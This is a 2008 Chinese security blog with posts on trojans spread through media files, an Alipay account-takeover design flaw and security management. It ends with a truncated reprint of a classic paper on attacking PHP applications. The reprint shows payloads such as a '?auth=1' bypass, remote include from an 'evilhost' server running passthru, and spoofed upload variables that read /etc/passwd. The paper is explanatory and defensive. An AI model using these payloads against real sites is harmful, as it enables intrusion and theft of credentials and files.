这帮人越来越坏了
现在都去怎么控制机器，蠕虫病毒并不是不用了，还有网站挂马也是有效的手段，不过，针对互联网上的视频、MP3利用，正变的越来越多了。
有许多起着吸引名字的电影、歌曲，都加了代码，里面有url，有下载地址，可以把远程的木马拖下来，隐藏在你的机器中，等着控制者的进一步指令。
这种方法以前都使用过，不过，这个暑假期间，用的特别泛滥，相信有人又建立了一大批的肉鸡。只能说，有许多人越来越坏了，安全保护却一直处于落后，许多的地方，经过多年，一直未变，还是杀毒软件+防火墙的安全防护模式。其实，我已经看到了一些后果，怎么就想不到一种商业模式，把我的安全服务推广开来呢？
2008年8月31日星期日
自己的思路才有才
很有才的一段视频 http://v.youku.com/v_show/id_XMzY4NTE5MDQ=.html
最近针对一些系统的测试，有些先从正常访问的角度看看，其实用不到太多复杂的方法，只要影响到系统的正常业务功能和流程了，也算是成功的一次渗透攻击过程。
原来的渗透攻击，每次搞下来，几乎是全副武装了，有好的机器，带宽，想法，准备，精力等等，总要准备的万全开始动手，争取有成果。现在看一些保护很好的系统，其实完全可以在正常访问的过程中，操作一些东西，影响到它正常的功能和业务，这样也算是达到目的。企事业单位最担心，也是最有价值的，就是系统在业务上的功能承载，最终再到利润和影响（信誉）的呈现。天下之事，莫外名利。
还是原来的想法，远离酒场远离官僚，保持自己的想法，和追求的方向，这样的人生才更加快乐一些。
最近针对一些系统的测试，有些先从正常访问的角度看看，其实用不到太多复杂的方法，只要影响到系统的正常业务功能和流程了，也算是成功的一次渗透攻击过程。
原来的渗透攻击，每次搞下来，几乎是全副武装了，有好的机器，带宽，想法，准备，精力等等，总要准备的万全开始动手，争取有成果。现在看一些保护很好的系统，其实完全可以在正常访问的过程中，操作一些东西，影响到它正常的功能和业务，这样也算是达到目的。企事业单位最担心，也是最有价值的，就是系统在业务上的功能承载，最终再到利润和影响（信誉）的呈现。天下之事，莫外名利。
还是原来的想法，远离酒场远离官僚，保持自己的想法，和追求的方向，这样的人生才更加快乐一些。
2008年8月27日星期三
支付宝的设计缺陷
支付宝是淘宝账务管理中心，所有的钱都放在这儿。今天发现，有个业务上的流程存在逻辑缺陷。
只要掌握了一个用户的邮箱，就可以做很多事情了，包括修改"安全问题"，修改密码，修改"绑定的手机号"。从"手机服务"中，我们可以看到，只要能改了手机号，实际上可以做许多事情了。
下面看看手机服务提供了哪些功能？
手机找回密码 利用手机来轻松找回遗忘的密码 已开通
手机开启/关闭余额支付 您可以用手机开启或关闭账户余额支付功能 已开通
手机管理数字证书 如果您的数字证书丢失了，您可以用手机注销数字证书 已开通
手机设置安全问题 如果您忘记了安全问题，您可以通过手机重新设置 已开通 关闭
手机支付 开启手机支付功能，您将可以通过短信或语音方式付款。 已开通 关闭
手机动态口令 有了密码和手机动态口令的双重保护，您的账户安全就得到了全面的提升！
手机号码登录 如果您用手机号码做为支付宝账户名，您可以在此修改
从上面可以看到，只要得到了手机权限，这个支付宝账号基本就在控制之中了。而得到手机号，只要得到信箱权限就可以了。信箱权限怎么得就不多说了，相信很多人都掌握了若干种方法，很容易就可以控制信箱。本来这个手机服务，是为了避免信箱的安全问题，所以才提供了比信箱功能更多的权限，比如修改安全问题，数字证书，动态口令等，这些都是信箱无法提供的。现在可倒好，通过手机服务，放开大门了。
如何通过信箱修改手机号？这是问题的关键，因为支付宝还没有修改完善相关系统，在此不多说了，只想告诉大家，非常非常简单，只是他们在设计上的一个缺陷，算不上系统漏洞。所以，一定不要逻辑混乱，清晰的业务流是非常重要的。
只要掌握了一个用户的邮箱，就可以做很多事情了，包括修改"安全问题"，修改密码，修改"绑定的手机号"。从"手机服务"中，我们可以看到，只要能改了手机号，实际上可以做许多事情了。
下面看看手机服务提供了哪些功能？
手机找回密码 利用手机来轻松找回遗忘的密码 已开通
手机开启/关闭余额支付 您可以用手机开启或关闭账户余额支付功能 已开通
手机管理数字证书 如果您的数字证书丢失了，您可以用手机注销数字证书 已开通
手机设置安全问题 如果您忘记了安全问题，您可以通过手机重新设置 已开通 关闭
手机支付 开启手机支付功能，您将可以通过短信或语音方式付款。 已开通 关闭
手机动态口令 有了密码和手机动态口令的双重保护，您的账户安全就得到了全面的提升！
手机号码登录 如果您用手机号码做为支付宝账户名，您可以在此修改
从上面可以看到，只要得到了手机权限，这个支付宝账号基本就在控制之中了。而得到手机号，只要得到信箱权限就可以了。信箱权限怎么得就不多说了，相信很多人都掌握了若干种方法，很容易就可以控制信箱。本来这个手机服务，是为了避免信箱的安全问题，所以才提供了比信箱功能更多的权限，比如修改安全问题，数字证书，动态口令等，这些都是信箱无法提供的。现在可倒好，通过手机服务，放开大门了。
如何通过信箱修改手机号？这是问题的关键，因为支付宝还没有修改完善相关系统，在此不多说了，只想告诉大家，非常非常简单，只是他们在设计上的一个缺陷，算不上系统漏洞。所以，一定不要逻辑混乱，清晰的业务流是非常重要的。
2008年8月25日星期一
在博弈中成长
认识了一位朋友，在安全圈里面认识很多人。虽然我也一直做安全，但基本认识的都是原来周围的同事，仅仅有限的几个人，更多的人只是如雷贯耳听说过，连见面都没过。
下决心要做一番事业，是因为觉的安全服务的市场很大，做的人比较少，有几家在做的，做的效果也不好，至少我真正想解决用户的问题，不是抱着忽悠的目的。从某一方面来说，我有一些东西，可以很好地解决用户面临的安全问题，这些东西让我比较有信心，可以做出一番事业来。
比如，我提供防病毒网关、防火墙、VPN、入侵检测、漏洞扫描、安全网站、邮件服务器、流量管理与分析统计、透明网关、网站加速网关等安全设备，但这些东西，实现都非常简单，功能和性能都存在某些不足，让我没有信心运作成一个可以卖出的产品，如果拿了这些产品去卖，技术上的积累，还欠缺许多功课，从这方面是不负责任的行为。但这些东西，可以用很低的成本，解决一些问题，可以作为一种解决方案，提供给用户，帮助他们解决一些实际问题。虽然有同类的许多产品在市场上出售，我知道他们是怎么实现的，但我还不想去做同样的事情。
以后，要是有机会，只要在某方面比我强，应该让给他们机会。从长远来看，打压和霸占都没有生命力，都会对事业造成非常大的损害。国内大部分的公司，为了赚钱，可以牺牲很多东西。我的理想，要是创造自由、平等、共享的环境，让有能力发挥出自己的价值，让事业一直走向辉煌。在这个过程中，如果是我或任何其它人产生了私心，应该在最初的时候定位一种规则，让这种私心减少对事业的影响，建立足够的博弈力量。这种博弈，对事业有利，对个人成长也非常有好处。
不知道我这种想法，能吸引有想法有能力的朋友们吗？愿意一起参与进来做一番事业吗？
下决心要做一番事业，是因为觉的安全服务的市场很大，做的人比较少，有几家在做的，做的效果也不好，至少我真正想解决用户的问题，不是抱着忽悠的目的。从某一方面来说，我有一些东西，可以很好地解决用户面临的安全问题，这些东西让我比较有信心，可以做出一番事业来。
比如，我提供防病毒网关、防火墙、VPN、入侵检测、漏洞扫描、安全网站、邮件服务器、流量管理与分析统计、透明网关、网站加速网关等安全设备，但这些东西，实现都非常简单，功能和性能都存在某些不足，让我没有信心运作成一个可以卖出的产品，如果拿了这些产品去卖，技术上的积累，还欠缺许多功课，从这方面是不负责任的行为。但这些东西，可以用很低的成本，解决一些问题，可以作为一种解决方案，提供给用户，帮助他们解决一些实际问题。虽然有同类的许多产品在市场上出售，我知道他们是怎么实现的，但我还不想去做同样的事情。
以后，要是有机会，只要在某方面比我强，应该让给他们机会。从长远来看，打压和霸占都没有生命力，都会对事业造成非常大的损害。国内大部分的公司，为了赚钱，可以牺牲很多东西。我的理想，要是创造自由、平等、共享的环境，让有能力发挥出自己的价值，让事业一直走向辉煌。在这个过程中，如果是我或任何其它人产生了私心，应该在最初的时候定位一种规则，让这种私心减少对事业的影响，建立足够的博弈力量。这种博弈，对事业有利，对个人成长也非常有好处。
不知道我这种想法，能吸引有想法有能力的朋友们吗？愿意一起参与进来做一番事业吗？
2008年8月20日星期三
2008年8月11日星期一
关于"三分技术七分管理"
楼上众多的说法，正是我在开篇所要反对的。我没去找"三分技术七分管理"的原文是怎么描述的，但我理解，三分技术七分管理，并不指的是纯技术和纯管理，而是两者的结合，安全的过程，就是对信息资产通过技术进行管理的过程，这里面并不是规章制度，并不完全是安全方针、安全组织、资产管理、人力资源安全、信息安全事故管理、业务连续性管理、符合性，或者纯技术的安全体系，通信和操作管理、访问控制和系统开发生命周期等这些过程，而且对信息资产的有效控制上面
有七分管理这几个字眼，并不是管理就要远远重要于技术，或者技术可做的事情很少。在这上面钻的深，一切就变的虚无飘渺了。有个单位，国内多家著名安全公司给他们做了评估，做了加固，为什么我还可以通过很多方法进入内网？到底怎么样才能解决客户存在问题？你通过这些理论工具和方法论，有把握解决问题吗？
有七分管理这几个字眼，并不是管理就要远远重要于技术，或者技术可做的事情很少。在这上面钻的深，一切就变的虚无飘渺了。有个单位，国内多家著名安全公司给他们做了评估，做了加固，为什么我还可以通过很多方法进入内网？到底怎么样才能解决客户存在问题？你通过这些理论工具和方法论，有把握解决问题吗？
2008年8月10日星期日
接上篇
刚才没写完
alibaba独特的思路是什么并不重要，重要的是这样独特的思路是怎么出来的？我认为最关键的在于如何搜集数据，如何处理后输出，所有的功能都是这样实现的，这个过程并不是程序里面独有的，业务模式也是这样。除了数据的流程，还有一个钱的流动过程，金钱在这个数据中是如何受到影响的？alibaba/google现在看来都走了间接的道路。
暂时没有想到去做网站，趁着年轻，还有许多有趣的东西可做，做网站太没技术含量了，和一帮抢劫的似的，哈哈，再者，网络安全服务做下来虽然收益不高，但有趣啊，让人难以拒绝的诱惑啊
不过无论是分析alibaba的业务模式，还是想自己的创业之路，需要注意，中国并不缺少想法，但缺少坚持想法的行动，很多都是想想就算了，我能坚持多少年呢？原来的许多好主意，给别人说了，他们就去做了，自己也没有去争取着做一下。昨天和朋友交流，觉的网络安全方向，我这方面技术好，有大量产品，市场需求也非常大，我这儿有许多独到的东西，前途似乎一片美好啊，但实际上，谁知道呢，也许做一段时间才能知道。
关注马云，关注史玉柱，他们这样的成功，也只能在中国才会出现，现在的机会，仍然非常多，等待我去开发。
alibaba独特的思路是什么并不重要，重要的是这样独特的思路是怎么出来的？我认为最关键的在于如何搜集数据，如何处理后输出，所有的功能都是这样实现的，这个过程并不是程序里面独有的，业务模式也是这样。除了数据的流程，还有一个钱的流动过程，金钱在这个数据中是如何受到影响的？alibaba/google现在看来都走了间接的道路。
暂时没有想到去做网站，趁着年轻，还有许多有趣的东西可做，做网站太没技术含量了，和一帮抢劫的似的，哈哈，再者，网络安全服务做下来虽然收益不高，但有趣啊，让人难以拒绝的诱惑啊
不过无论是分析alibaba的业务模式，还是想自己的创业之路，需要注意，中国并不缺少想法，但缺少坚持想法的行动，很多都是想想就算了，我能坚持多少年呢？原来的许多好主意，给别人说了，他们就去做了，自己也没有去争取着做一下。昨天和朋友交流，觉的网络安全方向，我这方面技术好，有大量产品，市场需求也非常大，我这儿有许多独到的东西，前途似乎一片美好啊，但实际上，谁知道呢，也许做一段时间才能知道。
关注马云，关注史玉柱，他们这样的成功，也只能在中国才会出现，现在的机会，仍然非常多，等待我去开发。
现在的互联网机遇
每个时段看现在的形势，都似乎感觉遍地的竟争对手，自己可用的东西很少了。
昨天和朋友们聊天的时候，一片悲观。其实，现在看l国外google，yahoo，国内的alibaba淘宝一类的互联网，他们的成功太吓人了，咱暂且不想何时才能达到这样的高度。但现在的互联网其实还有很多机会，大量东西还没有开发，"智能系统"只是处在原始的最初阶段。只所以这样说，是因为当我们抛开功利的眼光，看眼前的这个电子世界的时候，我们会看到，所有google，alibaba的这些模式，都是数据搜集+加点彩的处理+不同的输出形式，数据搜集都是来自于注意力和广众的操作，输出形式就在于需求上变化的页面，加点彩的处理，现在看来alibaba、淘宝都还是比较简单的，后台功能实现并不复杂。为什么他们可以达到这样的成功呢？最早做这方面的，市场上有需求但没有这样的东西，怎么会不成功呢？现在的做b2b的竟争对手这么多，他们肯定也不会停步不前，看alibaba的模式，最主要的是有那么独特的思路。
昨天和朋友们聊天的时候，一片悲观。其实，现在看l国外google，yahoo，国内的alibaba淘宝一类的互联网，他们的成功太吓人了，咱暂且不想何时才能达到这样的高度。但现在的互联网其实还有很多机会，大量东西还没有开发，"智能系统"只是处在原始的最初阶段。只所以这样说，是因为当我们抛开功利的眼光，看眼前的这个电子世界的时候，我们会看到，所有google，alibaba的这些模式，都是数据搜集+加点彩的处理+不同的输出形式，数据搜集都是来自于注意力和广众的操作，输出形式就在于需求上变化的页面，加点彩的处理，现在看来alibaba、淘宝都还是比较简单的，后台功能实现并不复杂。为什么他们可以达到这样的成功呢？最早做这方面的，市场上有需求但没有这样的东西，怎么会不成功呢？现在的做b2b的竟争对手这么多，他们肯定也不会停步不前，看alibaba的模式，最主要的是有那么独特的思路。
2008年8月5日星期二
三分技术七分管理是错误的
以前听很多人说，三分技术七分管理，似乎真的是正确的，只要打好了补丁，贯彻了安全策略，基本就可以保证一个信息系统的安全了。
现在才看到，这里面有多大的误区，有多少懒惰的因素，有多少拍马屁的成分在里面，只是拿了井底之蛙的眼光，去简单地看一个复杂的信息系统。实际上，完整的话应该这样说，三分技术七分管理，管理要以技术为依托。没有了技术，管理就无法贯彻下来，就没有实现的途径，就会受限于你的视野，实际上，管理上也并不是思想上、哲学上的那种管理，而是对每一个安全策略，每一个数据流，每一个访问路径的管理，是对信息资产的有效管理，是以技术手段实现的管理。而不是官僚们给你安排你应该如何如何的那种管理。
有许多事情就这样耽误了，可能会出大问题。不知道还有许多人相信"三分技术七分管理"，奥运保障是否也是基于这个出发点，许多人躺在一堆安全设备上悠闲自得。很长时间以前我就说过了，现在的安全防护模式，远远落后于现实的网络攻击手段，除非那帮有恶意目的人不掌握，只要掌握了，就会造成很严重的后果。现在的情况是，我们无法预测对方到底掌握了多少东西，可以利用多少资源，可以造成多大的危害。
前几天在新疆的汽车炸弹，死16人伤16人，2名嫌疑犯最后终于逮到了。新闻里忽略了一个细节，我猜测应该是对方假装失火，武警们出于责任，跑上去扑灭大火的时候才炸的吧，不然就那么冲过来一辆车，一下子就炸了？而且嫌疑犯最后还跑了？
和所有的网络攻击一样，最难预防的是，一切的操作隐藏于正常行为之中，以前的多篇blog中也有描述，这是网络攻击的最高境界，也是最难防御的。而一般的杀毒、IDS、ips、防火墙一类的安全设备，都是通过特征匹配的，所以，只要攻击行为换套马甲，安全设备就需要升级特征码，如果攻击行为更有创意，更有思路，安全设备几乎就全部废了。 这就是咱们的安全现状，这就是我们最担心的地方。大家以为许多问题已经解决了，终于可以休息一下好好睡一觉了，实际上，危害正在发生，有些已经深入内部了，管理者不知道，技术人员也没有觉察，一切正在悄悄地进行着。
现在别跟我再提三分技术七分管理，听着就生气，恨不得海扁一顿。我们的世界，自己做主。
2008年8月1日星期五
php安全(转文)
http://www.securereality.com.au/studyinscarlet.txt
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
A Study In Scarlet
Exploiting Common Vulnerabilities in PHP Applications
Shaun Clowes
SecureReality
"A reprint of reminisces from the Blackhat Briefings Asia 2001"
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
--- < Table of Contents > --------------------------------------------------
1. Introduction
2. Caveats and Scope
3. Global Variables
4. Remote Files
5. File Upload
6. Library Files
7. Session Files
8. Loose Typing And Associative Arrays
9. Target Functions
10. Protecting PHP
11. Responsibility - Language vs Programmer
12. Other
"I could imagine his giving a friend a little pinch of the latest vegetable
alkaloid, not out of malevolence, you understand, but simply out of a spirit
of inquiry in order to have an accurate idea of the effects." - Stamford
--- < 1. Introduction > ----------------------------------------------------
This paper is based on my speech during the Blackhat briefings in Singapore
and Hong Kong in April 2001. The speech was entitled "Breaking In Through
the Front Door - The impact of Web Applications and Application Service
Provision on Traditional Security Models". It initially discussed the trend
towards Web Applications (and ASP) and the holes in traditional security
methodology exposed by this trend. However, that's a long and boring
discussion so I'll save it for the policy makers.
The rest of the speech was spent talking about PHP. For those reading this
paper who don't know what PHP is, PHP stands for "PHP Hypertext
Preprocessor". It's a programming language (designed specifically for the
Web) in which PHP code is embedded in web pages. When a client requests a
page, the Web Server first passes the page to the language interpreter so
the code can be executed, the resulting page is then returned to the client.
Obviously this approach is much more suited to the page by page nature of
web transactions than traditional CGI languages such as Perl and C. PHP (and
to some extent other Web Languages) has the following characteristics:
+ Interpreted
+ Fast Execution - The interpreter is embedded in the web server, no fork()
or setup overhead
+ Feature Rich - Hundreds of non trivial builtin functions
+ Simple Syntax - Non declared and loosely typed variables, 'wordy'
function names
Over the course of this paper I'm going to try to explain why I feel the
last two characteristics make applications written in PHP easy to attack and
hard to defend. Then I'll finish off with a rant about distribution of
'blame' when it comes to software security.
"You must study him, then ... you'll find him a knotty problem, though. I'll
wager he learns more about you than you about him." - Stamford
--- < 2. Caveats and Scope > -----------------------------------------------
Almost all the observations in this paper refer to a default install of PHP
4.0.4pl1 (with MySQL, PostgreSQL, IMAP and OpenSSL support enabled) running
as a module under Apache 1.3.19 on a Linux machine. This of course means
that your mileage may vary, in particular, there have been many many
versions of PHP and they sometimes exhibit vastly different behaviour given
the same input.
Also, proponents of PHP tend to defend the language based on its extreme
configurability. I feel very confident the vast majority of users will not
modify the default PHP configuration at all, lest some of the amazing array
of freely available PHP software stop working. Thus I don't feel pressured
to defend my position based on configuration options, nonetheless I've
included a section about how to go defending PHP applications using these
configuration options.
Finally, some people deride this kind of work as 'trivial' or 'obvious',
particularly since I won't be discussing any specific vulnerabilities in
particular pieces of PHP software. To prove the risks are real and that even
programmer's that try hard fall into these traps 4 detailed advisories in
regards to specific pieces of vulnerable software will be released shortly
after this paper.
"I have to be careful ... for I dabble with poisons a good deal." - Sherlock
Holmes
--- < 3. Global Variables > ------------------------------------------------
As mentioned earlier, variables in PHP don't have to be declared, they're
automatically created the first time they are used. Nor are they
specifically typed, they're typed automatically based on the context in
which they are used. This is an extremely convenient way to do things from a
programmer's perspective (and is obviously a useful feature in a rapid
application development language). Once a variable is created it can be
referenced anywhere in the program (except in functions where it must be
explicitly included in the namespace with the 'global' function). The result
of these characteristics is that variables are rarely initialized by the
programmer, after all, when they're first created they are empty (i.e "").
Obviously the main function of a PHP based web application is usually to
take in some client input (form variables, uploaded files, cookies etc),
process the input and return output based on that input. In order to make it
as simple as possible for the PHP script to access this input, it's actually
provided in the form of PHP global variables. Take the following example
HTML snippet:
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
Obviously this will display a text box and a submit button. When the user
presses the submit button the PHP script test.php will be run to process the
input. When it runs the variable $hello will contain the text the user
entered into the text box. It's important to note the implications of this,
this means that a remote attacker can create any variable they wish and have
it declared in the global namespace. If instead of using the form above to
call test.php, an attacker calls it directly with a url like
"http://server/test.php?hello=hi&setup=no", not only will $hello = "hi" when
the script is run but $setup will be "no" also.
An example of how this can be a real problem might be a script that was
designed to authenticate a user before displaying some important
information. For example:
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
In normal operation the above code will check the password to decide if the
remote user has successfully authenticated then later check if they are
authenticated and show them the important information. The problem is that
the code incorrectly assumes that the variable $auth will be empty unless it
sets it. Remembering that an attacker can create variables in the global
namespace, a url like 'http://server/test.php?auth=1' will fail the password
check but the script will still believe the attacker has successfully
authenticated.
To summarize the above, a PHP script _cannot trust ANY variable it has not
EXPLICITLY set_. When you've got a rather large number of variables, this
can be a much harder task than it may sound.
Once common approach to protecting a script is to check that the variable is
not in the array HTTP_GET/POST_VARS[] (depending on the method normally used
to submit the form, GET or POST). When PHP is configured with track_vars
enabled (as it is by default) variables submitted by the user are available
both from the global variables and also as elements in the arrays mentioned
above. However, it's important to note that there are FOUR different arrays
for remote user input, HTTP_GET_VARS for variables submitted in the URL of
the get request, HTTP_POST_VARS for variables submitted in the post section
of a HTTP request, HTTP_COOKIE_VARS for variables submitted as part of the
cookie headers in the HTTP request and to a limited degree the
HTTP_POST_FILES array (in more recent versions of PHP). It is completely the
end users choice which method they use to submit variables, one request can
easily place variables in all four different arrays, a secure script needs
to check all four (though again, the HTTP_POST_FILES array shouldn't be an
issue except in exceptional circumstances).
"No man burdens his mind with small matters unless he has some very good
reason for doing so." - John Watson
--- < 4. Remote Files > ----------------------------------------------------
I'm going to repeat this frequently during this document but it bears
repeating, PHP is an extremely feature rich language. It ships with an
amazing amount of functionality out of the box and tries hard to make life
as easy as possible for the coder (or web designer as the case so often is).
From a security perspective, the more superfluous functionality offered by a
language and the less intuitive the possibilities, the more difficult it is
to secure applications written in it. An excellent example of this is the
Remote Files functionality of PHP.
The following piece of PHP code is designed to open a file:
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>\n");
?>
The code attempts to open the file specified in the variable $filename for
reading and if it fails displays an error. Obviously this could be a simple
security issue if the user can set $filename and get the script to expose
/etc/passwd for example but one non intuitive this code could end up doing
is reading data from another web/ftp site. The remote files functionality
means that the majority of PHPs file handling functions can work
transparently on remote files via HTTP and FTP. If $filename were to contain
(for example)
"http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" PHP will
actually make a HTTP request to the server "target", in this case trying to
exploit the unicode flaw.
This gets more interesting in the context of four other file functions that
support remote file functionality (*** except under Windows ***), include(),
require(), include_once() and require_once(). These functions take in a
filename and read that file and parse it as PHP code. They're typically used
to support the concept of code libraries, where common bits of PHP code are
stored in files and included as needed. Now take the following piece of
code:
<?php
include($libdir . "/languages.php");
?>
Presumably $libdir is a configuration variable that is meant to be set
earlier in script execution to the directory where the library files are
stored. If the attacker can cause the variable not to be set the script
(which is typically not a tremendously difficult task) and instead submit it
themselves they can modify the start of the path. This would normally gain
them nothing since they still end up only being able to access languages.php
in a directory of their choosing (poison null attacks like those possible on
Perl don't work under PHP) but with remote files the attack can submit any
code they wish to be executed. For example, if the attacker places a file on
a web server called languages.php containing the following:
<?php
passthru("/bin/ls /etc");
?>
then sets $libdir to "http://<evilhost>/" upon encountering the include
statement PHP will make a HTTP request to evilhost, retrieve the attackers
code and execute it, returning a listing of /etc to the attackers web
browser. Note that the attacking webserver (evilhost) can't be running PHP
or the code will be run on the attacking machine rather than the target
machine (see the "Other" section and its reference to SRADV00006 for an
example of code which survives being on a PHP enabled attacking machine).
"There are no crimes and no criminals in these days" - Sherlock Holmes
--- < 5. File Upload > -----------------------------------------------------
As if PHP hadn't already provided enough to make life easier for the
attacker the language provides automatic support for RFC 1867 based file
upload. Take the following form:
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
This form will allow the web browser user to select a file from their local
machine then when they click submit the file will be uploaded to the remote
web server. This is obviously useful functionality but is PHPs response that
makes this dangerous. When PHP first receives the request, before it has
even BEGUN to parse the PHP script being called it will automatically
receive the file from the remote user, it will then check that the file is
no larger than specified in the $MAX_FILE_SIZE variable (10 kb in this case)
and the maximum file size set in the PHP configuration file, if it passes
these tests the file is SAVED on the local disk in a temporary directory.
Please read that again if that doesn't make you blink, a remote user can
send any file they wish to a PHP enabled machine and before a script has
even specified whether or not it accepts file uploads that file is SAVED on
the local disk.
I'm going to ignore any resource exhaustion attacks that may or may not be
possible using file upload functionality, I think they're fairly limited if
not impossible in any case.
First let's consider a script that IS designed to receive file uploads. As
described above the file is received and saved on the local disk (in the
location specified in the configuration for uploaded files, typically /tmp)
with a random filename (e.g "phpxXuoXG"). The PHP script then needs
information regarding the uploaded file to be able to process it. This is
actually provided in two different ways, one has been in use since early
versions of PHP 3, the other was introduced following our Advisory regarding
the issue I'm about to describe with the former method. Suffice to say the
problem is still alive and well, most scripts continue to use the old
method. PHP sets four global variables to describe the uploaded file, for
example (given the upload form above):
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g
"c:\\temp\\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
The PHP script then proceeds to work on the file as located via the $hello
variable. The problem is that it isn't immediately obvious that $hello need
not really be a PHP set variable and can simply be set by a remote attacker.
Take the following form input for example:
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/
plain&hello_name=hello.txt
That results in the following global PHP variables (of course POST could be
used (even cookies)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
This form input will provide exactly the variables the PHP scripts expects
to be set by PHP, but instead of working on an uploaded file the script will
infact be working on /etc/passwd (usually resulting in its content being
exposed). This attack can be used to expose the contents of all sorts of
sensitive files (in particular configuration files containing database and
other third tier server credentials).
I noted above that newer versions of PHP provide different methods for
determining the uploaded files (it's done via the HTTP_POST_FILES[] array
mentioned earlier). It also provides numerous functions to avoid this
problem, for example a function to determine if a particular file is
actually one that has been uploaded. These methods well and truly fix the
problem but there is certainly no shortage of scripts out there still using
the old method and still vulnerable to this sort of attack.
As an alternate attack assisted by file upload consider the following
example PHP code:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no
remote files)
include("$theme");
?>
If the attacker can control $theme they can obviously use this to read any
file on the remote system (except that content inside PHP tags e.g "<?" will
be removed and interpreted probably crashing immediately). While this is a
problem the attackers ultimate goal is obviously to be able to execute
commands on the remote web server and they can't achieve that by getting the
include statement to work on remote files as discussed earlier. They
therefore need to get PHP code they define into a file local to the remote
machine. This sounds like an impossible task initially but file upload comes
to the rescue. If the attacker creates a file on their machine containing
PHP code to be executed (for example the passthru code shown earlier) then
creates a form which contains a file field called "theme" and uses this form
to submit the file to the script via file upload, PHP will be kind enough to
save the file and set $theme to the location of the attackers file on the
local machine. The file_exists() check will then succeed and the code will
be run.
Given command execution ability on the remote webserver the attacker will
obviously wish to attempt privilege escalation attacks or attacks on the
third tier servers, both of which will probably require a toolset not
present on the webserver. The file upload functionality once again makes
this a non issue, the attacker can simply upload the attack tools, have them
saved by PHP then use their code execution ability to chmod() the file and
execute it. For example, they could trivially upload a local root exploit
(through the firewall and past the IDS) and execute it.
"It was easier to know it than to explain why I knew it. If you were asked
to prove that two and two made four, you might find some difficulty, and yet
you are quite sure of the fact" - Sherlock Holmes
--- < 6. Library Files > ---------------------------------------------------
I've mentioned the include() and require() functions earlier, I also said
that they're generally used to support the concept of code libraries. What I
mean by that is that common bits of code are put into a separate file and
when needed in the application simply include()ed from the file. include()
and require() will take any specified filename and read the file and parse
its contents as PHP code.
Initially when people started developing and distributing PHP applications
they chose to distinguish library and main application code by giving
library files the '.inc' extension. However they quickly found this was a
bad move in general since such files aren't normally parsed as PHP code by
the PHP interpreter. If requested from the web server they will generally
have the full source code returned. This is because the PHP interpreter
(when used as an apache module) determines which files to parse for PHP code
based on the file's extension, the extensions to be interpreted can be
chosen by the administrator but usually a combination of the extensions
'.php', '.php4' and '.php3' is chosen. This is a real problem when sensitive
configuration data (e.g database credentials) is placed in PHP files that
don't have an appropriate extension since a remote attacker can easily get
the source.
The simplest solution (and the one that has since become favored) is simply
to give EVERY file a PHP parsed extension. This prevents a request to the
web server ever returning the raw source for a file that contains PHP code.
The problem here is that though the source will no longer be returned, by
requesting the file a remote attacker can have the code that is meant to be
used in a framework of other code executed out of context. This can lead to
all of the attacks I've described earlier.
An obvious example might be the following:
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
When libdir/loadlanguage.php is called in the defined context of main.php it
is perfectly safe. But because libdir/loadlanguage has the extension .php
(it doesn't have to have that extension, include() works on any file) it can
be requested and executed by a remote attacker. When out of context an
attacker can set $langDir and $userLang to whatever they wish.
"You know a conjuror gets no credit when once he has explained his trick and
if I show you too much of my method of working, you will come to the
conclusion that I am a very ordinary individual after all" - Sherlock Holmes
--- < 7. Session Files > ---------------------------------------------------
Later versions of PHP (4 and above) provide built-in support for 'sessions'.
Their basic purpose is to be able to save state information from page to
page in a PHP application. For example, when a user logs in to a web site,
the fact that they are logged in (and who they are logged in) could be saved
in the session. When they move around the site this information will be
available to all other PHP pages. What actually happens is that when a
session is started (it's typically set in the configuration file to be
automatically started on first request) a random session id is generated,
the session persists as long as the remote browser always submits this
session id with requests. This is most easily achieved with a cookie but can
also be done by achieved by putting a form variable (containing the session
id) on every page. The session is a variable store, a PHP application can
choose to register a particular variable with the session, its value is then
stored in a session file at the end of every PHP script and loaded into the
variable at the start of every script. A trivial example is as follows:
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session
variable
?>
Any later PHP scripts will automatically have the variable $session_auth set
to "shaun", if they modify it later scripts will receive the modified value.
This is obviously a very handy facility to have in a stateless environment
like the web but caution is also necessary.
One obvious problem is with insuring that variables actually come from the
session. For example, given the above code, if a later script does the
following:
<?php
if (!empty($session_auth))
// Grant access to site here
?>
This code makes the assumption that if $session_auth is set, it must have
come from the session and not from remote input. If an attacker specified
$session_auth in form input they can gain access to the site. Note that the
attacker must use this attack before the variable is registered with the
session, once a variable is in a session it will override any form input.
Session data is saved in a file (in a configurable location, usually /tmp)
named 'sess_<session id>'. This file contains the names of the variables in
the session, their loose type, value and other data. On multi host systems
this can be an issue since the files are saved as the user running the web
server (typically nobody), a malicious site owner can easily create a
session file granting themselves access on another site or even examine the
session files looking for sensitive information.
The session mechanism also supplies another convenient place that an
attacker have their input saved into a file on the remote machine. For
examples above where the attacker needed PHP code in a file on the remote
machine, if they cannot use file upload they can often use the application
and have a session variable set to a value of their choosing. They can then
guess the location of the session file, they know the filename 'php<session
id>' they just have to guess the directory, usually /tmp.
Finally an issue I haven't found a use for is that an attacker can specify
